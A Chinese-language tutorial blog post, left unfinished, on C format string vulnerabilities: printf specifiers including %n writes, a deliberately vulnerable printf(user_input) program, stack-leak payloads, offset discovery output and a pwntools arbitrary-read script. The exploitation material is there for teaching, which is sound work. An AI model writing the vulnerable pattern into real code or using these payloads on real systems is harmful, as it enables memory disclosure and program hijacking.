格式化字符串

0x00 格式化字符串介绍

c语言都知道printf,fprintf,sprintf,snprintf等这一类类printf函数中经常会用到“%”后面加一个或多个字符做说明符,例如

1
2
3
4
5
#include <stdio.h>
int main(void){
printf("My name is %s","Van");
return 0;
}

运行后:

My name is Van

printf函数的第一个参数就是格式化字符串,它主要是依靠一个用来告诉程序如何进行格式化输出的说明符。在C程序中我们有许多用来格式化字符串的说明符,在这些说明符后面我们可以填充我们的内容。说明符的前缀是“%”字符,以下是几个常见的说明符:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
%order$s   第order个参数的位置   eg:%5$s

%s 从内存中读取数据

%x 输出十六进制数

%c:输出字符,配上%n可用于向指定地址写数据。

%d:输出十进制整数,配上%n可用于向指定地址写数据。

%x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。

%p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。

%s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。

%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100x%10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。

%n是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合%n写数据。

其他都是用来打印的,而%n可以用来把一个int型的值写到指定的地址中。

0x01 漏洞原理

想让用户输入一个名字,然后再把这个名字原样输出,正常情况下这样写:

1
2
3
char str[100];
scanf("%s",str);
printf("%s",str);

这个程序没有问题。
如果写成这样:

1
2
3
char str[100];
scanf("%s",str);
printf(str);

这个程序在printf处省略了格式化字符串参数,在这里造成了严重的格式化字符串漏洞。
一般来说,每个函数的参数个数都是固定的,被调用的函数知道应该从内存中读取多少个变量,但printf是可变参数的函数,对可变参数的函数而言,一切就变得模糊了起来。函数的调用者可以自由的指定函数参数的数量和类型,被调用者无法知道在函数调用之前到底有多少参数被压入栈帧当中。所以printf函数要求传入一个format参数用以指定到底有多少,怎么样的参数被传入其中。然后它就会忠实的按照函数的调用者传入的格式一个一个的打印出数据。由于编程者的疏忽,把格式化字符串的操纵权交给用户,就会产生后面任意地址读写的漏洞。

demo:

1
2
3
4
5
6
7
8
9
#include <stdio.h>

int main(void)
{
char a[100];
scanf("%s",a);
printf(a);
return 0;
}

假设我们的输入为:

AAAA%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x

程序的输出依次为:
AAAA61fe4c,61ffcc,76e4d250,70734fbf,fffffffe,76e473da,41414141,252c7825,78252c78,2c78252c,252c7825

注意,这其中有一组为41414141,那就是这个字符串开始的位置。

看一下栈里的样子:

0061FE30   0061FE4C  |format =     "AAAA%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x"
0061FE34   0061FE4C  |<%x> = 0x61FE4C
0061FE38   0061FFCC  |<%x> = 0x61FFCC
0061FE3C   76E4D250  |<%x> = 0x76E4D250
0061FE40   FF12BE58  |<%x> = 0xFF12BE58
0061FE44   FFFFFFFE  |<%x> = 0xFFFFFFFE
0061FE48   76E473DA  |<%x> = 0x76E473DA
0061FE4C   41414141  |<%x> = 0x41414141
0061FE50   252C7825  |<%x> = 0x252C7825
0061FE54   78252C78  |<%x> = 0x78252C78
0061FE58   2C78252C  |<%x> = 0x2C78252C
0061FE5C   252C7825  \<%x> = 0x252C7825
0061FE60   78252C78
0061FE64   2C78252C
0061FE68   252C7825
0061FE6C   78252C78
0061FE70   00000000
0061FE74   00000000
0061FE78   00000000

0x0061FE4C 是格式化字符串开始的位置,通过不断的取变量操作,最终我们就能读取到程序的每一个位置。

0x02 实现任意地址读

任意地址读我们需要用到printf格式化字符串的另外一个特性,”$“操作符。
这个操作符可以输出指定位置的参数。

#include <stdio.h>

int main(void)
{
    char str[100];
    scanf("%s",str);
    printf(str);
    return 0;
}

首先测出字符串开头的偏移量:

veritas@ubuntu:~/pwn$ ./str
AAAA%1$x
AAAAffa87a68
veritas@ubuntu:~/pwn$ ./str
AAAA%2$x        
AAAAc2
veritas@ubuntu:~/pwn$ ./str
AAAA%3$x
AAAAf766376b
veritas@ubuntu:~/pwn$ ./str
AAAA%4$x
AAAAffb6ad4e
veritas@ubuntu:~/pwn$ ./str
AAAA%5$x
AAAAffab456c
veritas@ubuntu:~/pwn$ ./str
AAAA%6$x    
AAAA41414141

由此我们测出偏移为6
然后我们用pwntools编写如下脚本

1
2
3
4
5
6
7
8
from pwn import *

context.log_level = 'debug'

cn = process('str')
cn.sendline(p32(0x08048000)+"%6$s")
#cn.sendline("%7$s"+p32(0x08048000))
print cn.recv()

(未完待续)
参考资料:https://veritas501.github.io/2017/04/28/格式化字符串漏洞学习/

-------------本文结束感谢您的阅读-------------
/*
*/